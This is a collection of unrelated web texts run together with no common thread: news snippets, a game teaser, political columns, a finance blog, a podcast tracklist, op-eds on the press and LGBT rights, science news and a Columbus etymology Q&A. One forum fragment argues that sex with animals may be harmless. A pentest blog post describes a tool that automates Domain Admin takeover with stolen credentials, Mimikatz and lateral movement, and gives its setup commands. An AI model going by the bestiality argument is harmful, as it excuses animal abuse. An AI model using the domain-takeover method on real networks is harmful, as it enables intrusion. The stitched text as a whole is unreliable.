who has pleaded not guilty, is being held in the Pinellas County jail in lieu of $1000 bond. A judge has ordered her to have no contact with her ex-husband. -animals mate so that they can procreate and that's it. Anyone who has actually spent time around animals other than cats or dogs knows this is not true. Monkeys, horses, and dolphins all masturbate, and there are many species of animals that do have sex for reasons other than procreating. It's possible to raise and kill an animal humanely True, but the vast majority of food animals are not kept humanely. Surely people are outraged over this, but I rarely see a level of outrage comparable to certain posters in this thread over having sex with them. And it's not just killing and eating them which animals do not consent to. Animals do not consent to a great number of things, such as being kept in kennels, having their ears and tails docked, or being trained for risky jobs and dying in the line of duty (bomb dogs, police dogs etc) when the animal has absolutely no comprehension of the danger they are being put into for the benefit of humans. It's not possible to have sex with an animal humanely Can you explain further? Male dogs and horses will willingly mount females outside of their species, and I'm not just talking about humans either. How does it harm the animal? Furthermore I'd be interested to know if you or anyone else thinks jacking off a horse into an artificial vagina is rape? Did the horse consent to that? -Square Enix launches ‘Murdered’ teaser site Square Enix teasing new PS3, Xbox 60, and PC game. Update: This is Murdered: Soul Suspect. Find more details here. Original Story: Square Enix is teasing something. The publisher sent out e-mails today titled “What is the hardest case to solve?”, which contains the following image: The e-mail comes from Square Enix Members, with a reply-to e-mail is listed as [email protected] Visit Murdered.com, and you’ll see the image atop this story, a Twitter link, and a “Legals” section. Hover your mouse over the latter, and you’ll see that whatever this is, it’s for PlayStation 3, Xbox 360, and PC. Script found within the site’s source code suggest its a new title from Eidos Interactive. That said, it’s possible this is Eidos Montreal’s new title, which our friends at Siliconera detailed back in May. A single update on the Twitter account also shares the following image: Stay tuned. -The Republican Leadership Conference has announced their speakers for this weekend's conference in New Orleans, LA and the list includes reality television star Phil Robertson and Donald Trump. Phil Robertson, patriarch of the Robertson family and star of the series “Duck Dynasty,” will address the 2014 Republican Leadership Conference, Thursday May 29th at 6pm. Also speaking on Thursday evening are RNC Chairman Reince Priebus, Gov. Bobby Jindal, Sen. Ron Johnson and Ben Sasse. Other Speakers at the 2014 Republican Leadership Conference include Governor Rick Perry, Governor Phil Bryant, US Senators Ted Cruz, Mike Lee, & David Vitter; Donald Trump, Newt Gingrich, Herman Cain, Rick Santorum, Michele Bachmann and Allen West! The Republican Leadership Conference in New Orleans has become one of the premier political events in the country. Robertson was a target of gay rights activists in December 2013 after comments regarding homosexual behavior were published in an interview with GQ magazine. At the time, A & E, the network his show Duck Dynasty appears on, suspended him. After an intense and vocal response from the show's loyal fans, and an overwhelming petition drive here at Truth Revolt, he was reinstated. -More scary stuff from the US Treasury which has resumed living auction to auction, even as it has plundered over $80 billion in G and CSRD retirement fund money to provide cap under the debt ceiling, a number which will eventually rise to $270 billion by August 2nd at which time all bets are off unless the politicos in DC finally relent with their soap opera and allow the inevitable $2 trillion debt ceiling hike (which probably won't happen. Instead Congress will start voting on incremental $200 billion debt ceiling hikes month to month in order to keep the public glued to their TV in a demonstration of just how fiscally prudent Congress is). In the meantime, here's the math: in the first 8 days of the month of June, the Treasury has seen its cash balance decline from $112.6 billion to $23.5 billion: a solid burn rate of $90 billion in just over a week. But lest readers think that this is due to paying down debt, it isn't: total US debt was flat (at the ceiling), while intragovernmental holdings declined by $20 billion to accomodate another $20 billion in marketable debt (see the plunder of retirement accounts discussed above). So how does one reconcile this data? Simple - in June the Treasury has collected $44 billion in withheld individual income taxes (and a whopping $400 million in corporate tax), while spending double that, or $89 billion. Fiscal prudence? Rhetorical. June Cash: June Debt: -Automating the Empire with the Death Star: getting Domain Admin with a push of a button Ever since Empire and BloodHound, pentesting Active Directory has become pretty straight forward for 95% of the environments I get dropped in. I find myself doing the same things over and over again, and when that happens it's time to automate! After all a 'fire and forget' script that automatically gets Domain Admin has always been the dream right? Luckily for me a lot of other awesome people (see the Shout Outs section below) did all the hard stuff already. Additionally, Empire introduced a RESTful API a while ago making the creation of third-party scripts that interact with it a breeze. Before I continue, I'll take this opportunity for a rant: getting Domain Admin should NOT be the sole scope of your pentest and if it is you are doing it wrong. You should be focusing on post-exploitation, trying to find sensitive PII, documents etc.. anything that can clearly demonstrate to 'management' how much it could have impacted the organization if it were a real world compromise. However, having Domain Admin access does make life easier, provides additional value to the client and tends to make an impression on the Blue Team. Project goals and implementation Originally, I wanted something that could just take BloodHounds output, parse it, feed it to Empire and make it follow the 'chain'. However, BloodHound does not take into account (at least to my knowledge) paths that could be achieved using domain privilege escalations such as GPP Passwords in SYSVOL (I personally find that one an almost every engagement). So I wanted a more 'active' version of BloodHound with 'worm like' behavior. Additionally, Empire has most of the core functionality of BloodHound covered between all of it's modules and anything that BloodHound does functionality wise that Empire currently does not have a module for could be fairly easily implemented with one (e.g. the ACL attack path update, which is insanely awesome by the way) I decided to just stick with Empire and automate everything using it's RESTful API. This would also give me the freedom to parse a module's output as I see fit and have more control over the overall logic and user feedback. What's it doing under the hood? The following flow graph details pretty well (I think) what DeathStar does better than I could ever explain in a blog post. If you've pentested Active Directory recently, you should be familiar with pretty much everything in that graph. If not, feel free to hit me up and I'll be glad to answer any questions. Setting Up Currently, for Death Star to work you're going to have to install my fork of Empire until this pull request gets merged and the changes get pushed to master. The fork contains some API and back-end database fixes for scripts that interact with the RESTful API. Edit 08/28/2017 - Empire 2.1 was released, changes were merged so you can now use the main Empire repo with DeathStar :) Clone Empire, install it, then run the following: python empire --rest --username username --password password That will start Empire's console and RESTful API server. To get DeathStar up and running: git clone https://github.com/byt3bl33d3r/DeathStar # Death Star is written in Python 3 pip3 install -r requirements.txt # Supply the username and password you started Empire's RESTful API with ./DeathStar.py -u username -p password If all goes well Death Star will create a http listener and you should see a 'Polling for Agents' status: this means you're authenticated to Empire's RESTful API and DeathStar is waiting for that first Agent. All you need now is an Agent on a domain joined machine, how you do that is beyond the scope of this blog post. I'd recommend using CrackMapExec but I'm biased. What does it look like in action? Once you get that first Agent, DeathStar will take over and the magic will start. Here are a couple of videos of DeathStar obtaining Domain Admin in two different scenarios. In the first video, it elevates Domain privileges using the GPP Passwords in SYSVOL vulnerability, spreads laterally to the machines the GPO is applied to using the decrypted credentials and eventually lands on a machine with a Domain Admin logged in. It then enumerates running processes and PSInject's into a process (explorer.exe by default) running under the Domain Admin account giving us an Agent running under that security context: In the second video, it actually obtains the Domain Admin's credentials using Mimikatz and abusing local admin relationships: One thing that I'd like to point out: although these two videos take advantage of credentials in one way or another it is possible for DeathStar to obtain Domain Admin rights simply by using a combination of local admin relationships and PSInject without ever using a set of credentials. Stuff that I'd like to see added There is so much more that could be done with DeathStar: more domain privilege escalation techniques could be added, more lateral movement methods, the logic could be fine tuned a bit more, we could do some post-exploitation and SPN shenanigans etc.. The current release is definitely a rough first draft. The game changer would be SMB Named Pipe pivoting. Once that's in Empire this will truly 'walk and talk' like a worm. Conclusion DeathStar demonstrates that automating obtaining Domain Admin rights in an Active Directory environment is a clear possibility using existing open-source toolsets. I expect to see many more tools that do something like this in the near future (I personally know two people who are working on their own versions/implementations which is awesome, and I encourage more people to do so) One final point I'd like everyone to reflect on: I put this together in 3-4 days. Imagine what a bunch of much more smarter people than me could do/have already done with more time and resources (cough cough nation states cough cough). That's something that I think is particularly interesting. Shout outs None of this could be possible without the amazing research and hard work of these people (you seriously should be following them everywhere), and I'd like to personally thank them for their constant support and encouragement :) -Over the past two years, London producer Jack Dixon has quietly amassed a rather impressive discography, dropping releases—both solo and collaborative—on labels such as Brownswood, Silverback, ManMakeMusic, and, most recently, R&S offshoot Apollo, which just put out his You Won't Let Me EP. But even with a string of quality releases to his name, it's sometimes easy to forget Dixon amongst the ever-swelling ranks of producers turning out bass music, or whatever genre tag is being applied at the moment. Perhaps it's due to the understated nature of his productions, which offer a polished, techno-infused take on UK rhythms. Well-suited for melancholy mornings and late-night comedowns, Dixon's tunes aren't anthems, nor are they meant to be. As admirers of his songcraft, we figured that it might be best to give Dixon a chance to showcase his talents outside of the club, which is why he's been invited to deliver the latest chapter of the XLR8R podcast series. As one might expect, it's a low-key affair, albeit never a sleepy one, as Dixon tastefully weaves together an hour's worth of nuanced house and techno selections. The blends are long and the mix never comes close to losing its composure, yet Dixon's podcast still carries enough weight to edge its way into our subconscious. ADVERTISEMENT Thanks for watching! Visit Website 01 Eric D. Clark and Joel Alter "Rules Of Love (DJ Qu Remix)" (Bass Culture) 02 DPlay "Klick Klack" (Mild Pitch) 03 Kaitaro "Little Helper 324" (Little Helpers) 04 Smallpeople "Black Ice" (Smallville) 05 Fog "Dulcet Cynosure" (Apparel) 06 Jack Dixon "Black Paint" (Apollo) 07 Jack Dixon "Lose Myself (Dauwd Remix)" (Skint) 08 Sirenize "Everybody" (Bedrock) 09 Jack Dixon "The Walls" 10 Nail "(I Don't Wanna) Hurt U" (Classic) 11 Pawas "Who Is In" (Night Drive) 12 Einzelkind "Limelight" (Oslo) 13 Cherry "Lost Days (Orient Remix)" (Troplott) 14 Kassian Troyer "The Afternoon Grid" (Dial) Download MP3 Download M4A (iTunes enhanced) Subscribe to Podcast (RSS) XLR8R_Podcast_Jack_Dixon_2012_05_15 -One might say that Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.) was for the hate politics of the far right before he was against it. One day, with a smile, Paul gives a speech calling on Republicans to be positive, inclusive and offer a happy face to voters. On another day, with a snarl, Paul launches gutter-level attacks against Bill Clinton William (Bill) Jefferson ClintonInviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 Trump says he never told McCabe his wife was 'a loser' MORE, the enormously popular former Democratic president. ADVERTISEMENT These are the two faces of Paul. Voters aren't buying it. In my latest column about Bill Clinton's rescue ride for Democrats in the 2014 midterms, I noted the great appeal of the widely liked and admired former president. And I warned Paul that his low-blow attacks on Clinton are a suicidal formula that will lead to another Republican defeat. Perhaps Paul read my column. He is now saying that Republicans need to be more positive. But he has not retracted his discredited smears against Clinton. The Republican disease is that certain spinmeisters convince politicians like Paul that they have to hate liberal Democrats to be nominated, while other spinmeisters convince politicians like Paul that they have to be positive to avoid being slaughtered by Democrats like the Clintons in general elections. Hence, the two faces of Rand Paul. There is one thing we can all agree on. In polls galore, Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE would defeat every potential Republican opponent in 2016 by landslide margins. Based on every poll I know of, Clinton looks like Babe Ruth and Paul looks like the little league for the 2016 race. Against Clinton, voters don't like either of the two faces of Paul. The net impact of the Benghazi attacks against Clinton: zero. The net impact of ObamaCare attacks against Clinton: zero. The net impact of Paul's cheap shots against Bill Clinton: great for the Clintons and disastrous for Paul. My advice to Paul: He should lose one of his two faces. As Ted Nugent should apologize to Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE, Rand Paul should apologize to Bill Clinton. Budowsky was an aide to former Sen. Lloyd Bentsen and Bill Alexander, then chief deputy majority whip of the House. He holds an LL.M. degree in international financial law from the London School of Economics. Contact him at brentbbi@webtv.net. -About There are many things in life that... just plain suck. Someone cuts you off in traffic, the garbage bag breaks, you spill coffee on your junk in the car or someone at work eats your lunch that you clearly labeled before placing in the fridge (that jerk). I have found writing angry haikus to be a great way to deal with these things. Sometimes I even doodle the events. I have collected quite a few of these angry haikus over the past year. I have decided I want to share them with you so I am publishing a book. The book is a 5x7 96 page full color semi-gloss paperback. Every haiku is handwritten and scanned to be digitally placed in the book. EVERYONE GETS FREE SHIPPING! Here is one spread from the book so you know what you are getting. -It’s politics when a candidate disparages “the media.” But it’s potentially dangerous when the commander in chief tells U.S. troops not to trust the reporters who cover them. If you’re a soldier — say, an elite U.S. special operator at U.S. Central Command headquarters, maybe with some battle buddies from U.S. Special Operations Command and Joint Special Operations Command — answer me this: When your commanding general tells you that the reporters covering your work are important and he makes a public effort to engage, educate, bring them along to war zones and build trust with the press corps, but your commander-in-chief says those same reporters are “dishonest,” and accuses them of purposefully ignoring terrorism (and by extension ignoring your hard, life-sacrificing work to fight terrorism) for some wink-and-nod agenda of their own, whom should you believe? The media — that’s me, hi — is accustomed to being a punching bag for politicians. Most of us wear their complaints like combat badges. One of my earliest mentors, Mark Feldstein, an award-winning former CNN and ABC News reporter who runs the broadcast journalism program at the University of Maryland, has this in the second line of his biography: “On assignment, he was beaten up, subpoenaed, and sued in the US; detained and censored by government authorities in Egypt; and escorted out of the country under armed guard in Haiti.” When Donald Trump talked about the “dishonest media” on the campaign trail, I didn’t speak up much because a) we’re taught that we journalists are not the story, and b) it was just politics. Even by inauguration day, the new president’s quip was just an annoyance. But when the newly minted commander-in-chief said it at CIA headquarters, it began to get worrying. And something changed for good on Monday when Trump traveled to Tampa. For the first time, he stood in front of CENTCOM commander Gen. Joseph Votel and SOCOM commander Gen. Tony Thomas — perhaps the two most important generals in the U.S. military today — and their teams. On camera, Trump praised the forces for fighting secret missions every day, and pledged to give them all the equipment and support they need to turn back the spreading threat of terrorism. Then he said this: “It’s gotten to a point where it’s not even being reported and, in many cases, the very, very dishonest press doesn’t want to report it. They have their reasons and you understand that.” Wink. Nod. With respect, sir, that’s not true. And I hope the men, women, officers, civilians, and whomever else was in that room don’t believe it. I certainly don’t think Gen. Votel does. The defense/military/national security press corps is in many ways a different breed of journalists, with a different — and I’ll argue, heavier — burden of responsibilities. We cover war. We must inform the public, but we also must be careful not to get anyone killed. And military commanders and grunts alike remind us of that. Last year, special operations leaders bristled that some reporting used names, units, and mission details that revealed identities and other sensitivities putting elite U.S. troops at risk. Gen. Thomas, at a March 2016 press briefing in Tampa the day he took command of SOCOM, said, “I’d offer while our operations are necessarily secret, we are absolutely committed to the accountability we have to the American people and the president of the United States. So there’s a balance there, and certainly the American public have a need to know what we’re doing and that we’re doing it in the right way, and consistent with American values. So we accept that that’s a challenge in terms of information, but as Gen. Votel mentioned, I think where we do have concerns is where it starts to imperil the tactics and techniques that we employ, and more importantly, the people involved. We’ve had a rash of true-name disclosures here recently, which I don’t see serving any purpose other than to put those people in jeopardy.” Neither do I. During that period, sources told me they were angry at the offending reporter and all reporters, and I don’t blame them. At the same press briefing where Thomas and Votel acknowledged the importance of the public’s right to know, I hurt my own case for trust. Joint Chiefs Chairman Gen. Joseph Dunford was upset that I asked him a question about then-candidate Trump’s comment that NATO was “obsolete.” Dunford didn’t want to be pitted against his potential future commander in chief, rightfully. I didn’t realize Dunford was unaware I was asking him about Trump. It was a costly miscommunication. The chairman and his staff lodged his complaint, I responded, we talked, and moved on to do our jobs. The U.S. military works with hundreds of reporters from global TV networks to niche magazines and bloggers doing their jobs every day. In our jobs, we interview American and foreign allied troops on their way to die and we talk to their mothers when they return home in caskets. We travel with and talk to the experienced Joint Chiefs and the newest Marines out of boot camp. We fly onto aircraft carriers and into forward operating bases, and then to bespoke-suited NATO meetings of top European defense ministers — often in the same week. Generals, admirals, and service secretaries trust us enough to take us into dangerous places where there are secrecy rules to keep us all safe. They give us briefings and speak to us, often privately, to make sure we are getting the story right or that they are at least getting their version of the story heard. Some of us have been shot at, blown up, and killed, alongside the servicemen and -women we are covering, and some are still going back into the war zones to keep reporting. They have earned the respect and admiration of troops of all ranks. Not everyone is a war reporter, but most of those who report on the military understand the magnitude of our profession and the importance of the people we’re covering. The truth matters, whether we’re trying to understand what went wrong with an operation like the recent Yemen raid, or whether taxpayer dollars are being spent wisely on hundred-billion-dollar F-35 fighters. It matters, whether the topic is why appointed officials decide to deploy American troops into Iraq and Syria, what generals and admirals think of their adversaries in Iran or China, whether they are, in fact, taking care of the troops and their families from the day they enlist to the day they die as veterans, through adequate pay and benefits. This is a serious calling with serious repercussions. Journalists arriving on this beat find it takes a few years of source-building and practice just to get to know the enormous military, much less earn the kind of trust that leads senior leaders to talk to the public through your pen or camera when the news really hits. The door swings both ways. As junior commanders become senior commanders, they learn to interact with reporters, building relationships and even friendships with them. It’s true for base commanders in small towns or division commanders in desert war zones. That’s why there are thousands of U.S. troops who serve in the military as public affairs officers. Veteran reporters have seen all types come up through the ranks. There are the media-friendly ones who “get it” and work with us (or use us) to their benefit and the public’s, and then there are those who come in (understandably) wary of the press and skeptical that any interaction could possibly be to their benefit. Some are just not comfortable with cameras or talking out of line with their civilian leadership, as they’re trained. They (and Trump) inherited Obama’s war, which remains a largely secretive fight using elite special operators, intelligence officers, and private military contractors working an insane operational tempo. What was meant to be a way to keep the U.S. out of a large ground war became a perpetual secret mission. Few Americans know the extent of U.S. military and special operations intervention in that region stretching from Nigeria to Yemen and Syria. Except in this war, YouTube gets a vote. American forces are showing up on social media and foreign press more than they want. The entire war on terrorism is challenging the idea that every SOF warrior is a silent warrior when the mission is right there on TV for all to see, or veteran SEALs write tell-all books or open their mouths. It’s just not reality. Votel and Thomas said they want a better result with minimal risk. So do we. Nobody wants a Geraldo Rivera moment, drawing troops movements in the sand on live TV. Everyone wants to tell a better story. Trump, with one backhanded comment, endangered both the journalists and military leaders trying to build trust with one another. The next time a reporter hops on the back of a V-22 Osprey to a downrange base, what will the Marines on that flight be thinking? The next time a Special Forces soldier ends up in a firefight with a reporter in tow, what will that reporter be thinking? The next time an Abu Ghraib or My Lai incident occurs, will either side find the courage to trust each other to tell the uncomfortable truths that must be told? Trump uses the “dishonest media” line to his advantage well, as a candidate and political party leader. But as commander-in-chief to soldiers from age 18 on up, his words become marching orders. I hope they’ll be taken in context with what some other military leaders have said about the importance of the press to their missions and to democracy. The day after Trump spoke in Tampa, Gen. David Goldfein, chief of staff and top general of the Air Force, met with defense reporters at a regular breakfast roundtable in Washington. The first words out of his mouth were, “Well, first of all, let me just say thanks a lot for not only spending some time with me this morning talking about our Air Force, but also thanks honestly for what each of you do as well every day.” When the New York Times’ Michael Gordon asked the general for his comments on Trump’s “dishonest” line and support from military voters, Goldfein said, “Yes, you know, this is a great opportunity, I think, just to step back and remind ourselves and the American people the oath we take as members of the military, the oath we take and we retake every time we are promoted, to support and defend the Constitution and the laws of the United States against all enemies, foreign and domestic. We actually don’t, by design, pledge support to any particular party or any particular leader.” “So, I won’t comment particularly on the president’s comments, but just that is the way I see my responsibility.” Here’s what two other defense leaders have said about the media: Gen. Martin Dempsey, former Joint Chiefs Chairman, at the National Press Club in 2012, said: “Yours is a profession I respect, just as I know you respect my profession, the profession of arms. I’m sure you would agree that our professions are both built on trust — trust that has to be earned over time through the forging of relationships.” Defense Secretary Leon Panetta, in 2013, at his final briefing as defense secretary, said: “What I wanted to do was to come down and use this opportunity to, first of all, thank you all, all of you that are part of the press corps here and the press in general. Throughout my 50 years in public service, I have always believed — believed very deeply in the role of the press, because I believe deeply in the role of the American people in our democracy. Information is a key to an informed electorate. And while we may or may not agree with every story, in the grand scheme of things, because of the work of the press, I believe the truth always comes out.” But I’ll leave the final word to Defense Secretary Robert Gates, who in his final briefing in June 2011, said: “But since this will be my final press conference as secretary of defense, I would actually like to take this opportunity to say a few words to the Pentagon press corps. And don’t worry — it’s all good. These past few weeks have truly been the long goodbye, particularly for the traveling press, so I’ll keep it short. Even though I had held senior jobs in the U.S. government and was president of a major university, before becoming secretary of defense, I had never had sustained a regular on-the-record interaction with the news media. When I first took office, I worried that relations between the Pentagon, the military and the press, while always difficult, were mostly characterized by mutual suspicion and resentment. So I made it a point when speaking to military officers, from cadets to generals, to remind them that a vigorous, inquisitive and even skeptical press was a critically important guarantor of the — of freedom under the Constitution and not to be treated as the enemy. I gained even more of an appreciation for the important accountability role of the press early in my tenure when newspaper reports exposed two glaring bureaucratic shortcomings, in the outpatient treatment of wounded warriors at Walter Reed and resistance to purchasing life-saving MRAPs for troops downrange. Responding to both of these critical issues, which only came to my attention through the media, became my top priority and two of my earliest and most significant management decisions. Over the past four and a half years, I have not always liked what I read, and like anyone else in government, I hate leaks, maybe more than most. But I have great respect for your role as a watchdog on behalf of the American people and as a means for me to learn of problems that the building was not telling me about. I know we don’t always make it easy to do your jobs here. Gaining timely and usable information out of the bureaucracy and their gatekeepers is always a challenge, a challenge that I’ve shared with you on occasion. So thanks again for your professionalism, tough questions and hard work.” -BERLIN — When Sarah Kermer proposed to her girlfriend in March, she knew she was in love, but she did not know when, if ever, Germany would allow them to marry. The answer came early Friday morning, when the lower house of the German Parliament voted to legalize same-sex marriage after a brisk but emotional debate, prompting Ms. Kermer and scores of other gay and lesbian Germans to celebrate in the streets. “I was at work, and I just started crying,” Ms. Kermer, 25, said as she and her fiancée left a spontaneous gathering at the Brandenburg Gate in Berlin. “I was watching the decision on live-stream, and I cried — a lot. This has all happened just so fast.” The historic decision came with a swiftness rare in Germany’s usually staid politics, just five days after Chancellor Angela Merkel unexpectedly relaxed her party’s opposition to same-sex marriage and allowed lawmakers to vote on the issue according to their consciences. -By latching onto bacteria and detonating at just the right moment, a new drug could help take out the leading cause of bacterial infections in humans worldwide. The drug, a deadly combo of an antibody glued to an antibiotic, specifically seeks and destroys Staphylococcus aureus—even the difficult-to-kill, drug-resistant variety, methicillin-resistant staph (MRSA). In mice infected with MRSA, the dynamic duo fought off the infection better than the standard antibiotic treatment of vancomycin, researchers report in Nature. If the findings hold true in humans, the new superdrug could vastly improve the success rates of MRSA infection treatments, some of which can fail up to 50 percent of the time. That fail rate is likely linked to staph’s stealthy infection strategy, the authors note. Inside a victim, the bacteria battle immune cells that try to gobble them up. Once sucked into the cells, the bacteria normally get digested into un-infectious bits. But some of the bacteria can dodge death and hide out. Instead of a death chamber, the cells become bacterial getaway cars, leaving killer antibiotics in the dust and giving the germs a ride around the circulatory system to uninfected organs and tissues. Standard antibiotic treatments can fight off staph at infection sites. But those cellular stowaways are left unscathed, leaving patients with lingering or recurring infections. The new superdrug, on the other hand, specifically targets those stowaways. The antibody part of the drug tightly binds to acids on staph’s surface. When the bacteria get sucked into an immune cell, the antibody-antibiotic combo drug sticks with it. Once inside, cellular enzymes blast the drug apart, freeing and activating the antibiotic. In this case, the researchers found that a derivative of the common antibiotic rifampicin, called rifalogue, worked best. Bacteria that survive the cells’ digestion attempt ultimately succumb to the newly free rifalogue. In lab tests, more than ten thousand copies of the superdrug could clamp onto a bacterium, towing more than enough rifalogue to deliver a deadly dose inside the cell. In mice, the superdrug was orders of magnitude more powerful at wiping out MRSA than vancomycin or antibody treatments alone. But, for now, there are no guarantees that the superdrug will be that effective in human patients. Researchers point out that the human immune system may produce competing antibodies that bind to staph, possibly elbowing out the superdrug. Still, whether this particular antibody-antibiotic pair is successful in humans may not matter in the long run. Researchers can continue to try new combinations, even reviving antibiotics that failed to make it through the development pipeline. Antibiotics that may be toxic or bad at circulating through the human body on their own could be highly effective when glued to a bacteria-targeting partner. And researchers could make pairings with antibodies that target other infectious microbes, creating a host of other potential new therapies. Nature, 2015. DOI:10.1038/nature16057 (About DOIs). correction: the original version of this piece suggested MRSA treatments fail about half the time. The correct figure is that some treatments can fail up to half the time. -Participants dressed in pink perform cheerleading stunts before taking part in the forming of a giant pink dot at the Speakers' Corner in Hong Lim Park in Singapore June 28, 2014. The annual Pink Dot Sg event promotes an acceptance of the Lesbian, Gay, Bisexual and Transgender (LGBT) community in Singapore, according to organizers. REUTERS/Edgar Su (SINGAPORE - Tags: SOCIETY) Kirsten Han is a Singaporean blogger, journalist and filmmaker. She is also involved in the We Believe in Second Chances campaign for the abolishment of the death penalty. A social media junkie, she tweets at @kixes. The views expressed are her own. Ireland – a largely Catholic country which only decriminalised homosexuality in 1993 and divorce in 1995 – voted resoundingly to amend their constitution and approve same-sex marriage last weekend. They have become the first country in the world to approve gay marriage by popular vote, and at a count of 62 per cent to 38 per cent, no less. This piece of news stood in stark contrast to another development circulating on social media in Singapore: that the Media Development Authority (MDA) had apparently banned from radio and TV a song and music video by Jolin Tsai, presumably because its pro-gay message would encourage a push for same-sex marriage here. It feels a bit as if the MDA has jumped the gun; there *is* no push for same-sex marriage in Singapore, mostly because everyone is still wondering how to shift the supposedly-not-enforced-but-somehow-still-important-to-keep Section 377A, which criminalises sex between men. On top of that, many in the LGBT community find themselves struggling against the fact that some Singaporeans don’t even recognise that discrimination exists. That conservatives exist in every country is beyond doubt; I’m sure there were some fundies praying for the Lord to chuck rain down on gay people in Ireland too. But while we’re riding high on the inspiration generated by Ireland’s stellar example, it’s time to think of how our own country could be so much better for everyone living in it. To not just dwell on hate and fear, but on love. The repeal of 377A would have little to impact on the lives of heterosexual – or even religious – people. It would, however, mean a lot for LGBT people in Singapore, all of whom have parents, siblings, relatives and friends who would in turn be affected. It would be a strong signal that Singapore’s government will no longer be in the vanguard of discrimination against LGBT people, that it will no longer support the symbolic legislation that validates countless forms of bullying, dehumanising language and prejudice. It would be a step towards telling young LGBT persons that they *are* accepted in Singaporean society; that they don’t have to be ashamed of who they are and that they can have a future without stigma and fear in Singapore. It would tell the parents of these LGBT persons that they are not alone, that they don’t have to worry about their children being branded as deviants and criminals. Conservatives aren’t the only ones who care about family; gay people have families too. Love, even familial love, is not exclusive to heterosexuals. The court has rejected the constitutional challenge to 377A, essentially pushing the responsibility back to the legislators. Yet legislators have often pointed to Singapore’s conservatism as a reason for maintaining the status quo. As we see from the MDA’s move, the state is not only unwilling to change, but actively restricting the conversation. Ireland has done something wonderful and historic in this past weekend. Let us Singaporeans not be caught on the wrong side of history; let us not wait for court cases or politicians to bring us the equality that we should have. Make it to Hong Lim Park for Pink Dot. Write to your MP about LGBT rights and the need for anti-discrimination legislation. Talk to your friends about acceptance and diversity. Reach out to LGBT people around you who might need support. Do what you can to create a safe space for them to be who they are and say what they need to say. 377A continues to loom over us all – a symbol of prejudice and discrimination. Yet we cannot simply wait for it to disappear; we as Singaporeans can do our part to start making Singapore a more inclusive place. Today. -"I believe there is a powerful argument that your proposal is simply not retroactive. Taxpayers can avoid the tax completely by repurchasing shares they sold to the United States; the excise tax would be imposed, not on prior bonuses, but on the taxpayer's affirmative post-enactment decision not to repurchase those shares at the same price that the shares were sold to the United States." "Even if the excise tax were... viewed as having retroactive effect, the Supreme Court has generally given a high level of judicial deference to economic legislation and has repeatedly upheld retroactive taxation as constitutional, so long as the legislation is 'supported by a legitimate legislative purpose furthered by rational means...'" [snip] "Your legislative proposal presents a particularly strong case for constitutionality since it has only a modest look-back-period, as was the case in Darusmont, and is arguably a curative measure (with regard to the executive compensation provisions of TARP), as was the case in Carlton. Edward D. Kleinbard Chief of Staff Joint Committee on Taxation -What's the truth about the origin of the term "American Indian"? Schoolchildren have long been taught that Columbus thought he had reached the Indies, and therefore called the inhabitants "Indians." But lately I've been hearing the story that: (a) The Indies weren't even called the Indies at the time, but Hindustan; (b) Columbus didn't call the locals "Indians" but referred to them as "una geste in Dios", meaning "a people in God"; (c) somehow this caused people in Spain to start using the term "Indians"; and (d) Europeans then started using the geographical term "Indies" through back-formation. This explanation sounds like wishful thinking to me, with (c) and (d) particularly hard to swallow. Yet I've seen this stated as fact on some Indian Web sites, and it's doubtless being taught as fact in some schoolrooms. Is it possible to find the truth in this matter? George replies: The best way to determine the truth in cases like this, Steve, is to go to the source–in this case, Columbus’s original letter, through which word of the new lands and their inhabitants was disseminated throughout Europe (see links below). In this letter Columbus repeatedly refers to India and Indians, and says nothing whatever about "a people in God." First, let’s get the supposed phrase right. The Spanish word for people is gente, not geste. Note that the supposed derivation requires Columbus to have made an error in spelling, since "in" in Spanish is en; the word in doesn’t exist in the language. I’ll have more to say on this point later. Second, let’s dispose of the notion that India was called something else at the time. The name, derived from the Indus River (from Sanskrit sindhu, "a river"), goes back to antiquity. Alexander the Great referred to the Indus (Indos), and to the region’s inhabitants as Indikoi, as early as the third century B.C. The name passed from Greek into Latin and thence into other European languages, the earliest citation in English being in 893 A.D. by King Alfred the Great. At the time of Columbus’s voyage, "India" or "the Indias/Indies" was often used to refer to all of south and east Asia. Columbus carried with him a passport from Ferdinand and Isabella of Spain, written in Latin and dispatching him "toward the regions of India" (ab partes Indie) on their behalf. Martin Beheim’s globe of 1492, which predated the voyage, clearly labels the region as "Indie." "Hindustan," also derived from the Indus River, is a much later term, not appearing in English until 1665. In any case, in Spanish that name is not Hindustan but Indostan. Third, let’s look at what Columbus actually said. The admiral wrote a letter, in Spanish, detailing his discoveries while off the Azores during his homeward voyage. He forwarded this to the royal court, then at Barcelona, shortly after his storm-driven arrival in Lisbon on March 4, 1493. The original manuscript has not survived, but a printed copy made shortly after its receipt has. In the first paragraph Columbus says "In 33 days I passed from the Canary Islands to the Indies" (en 33 días pasé de las islas de Canaria a las Indias). His first reference to the inhabitants comes in the second paragraph: "To the first [island] which I found I gave the name San Salvador . . . the Indians call it Guanahaní" (A la primera que yo hallé puse nombre San Salvador . . . los Indios la llaman Guanahaní). In all he makes six references to India or the Indies, and four to Indios. Nowhere in the letter does he use a phrase resembling una gente in Dios. He says little of the spiritual beliefs of the people–at one point he states, "These people practice no kind of idolatry; on the contrary they firmly believe that all strength and power, and in fact all good things are in heaven, and that I had come down from thence with these ships and sailors;" at another he says "they are very ready and favorably inclined" to be converted to Christianity–but that’s about it. Shortly after Columbus’s arrival, a copy of the letter reached Rome, where it was translated into Latin, and printed in early May. This version rapidly became a "best seller" throughout western Europe, with no fewer than eleven editions being produced in Spain, Italy, France, Switzerland, and the Netherlands in 1493 alone. Of course, the fact that the news was circulated in Latin and not Spanish by itself pretty much puts paid to the supposed derivation. (The phrases corresponding to the ones quoted above are Tricesimotercio die postquam Gadibus discessi: in mare Indicû perueni and primeque earum: diui Saluatoris nomê imposui . . . Eam vero Indi Guanahanyn vocant.) The only hint of plausibility in the story is that "in" is in fact in in Italian, and so might be the kind of slip one could expect the Genoa-born Columbus to make. However, oddly enough, Columbus almost never wrote in Italian (and then, not more than a phrase 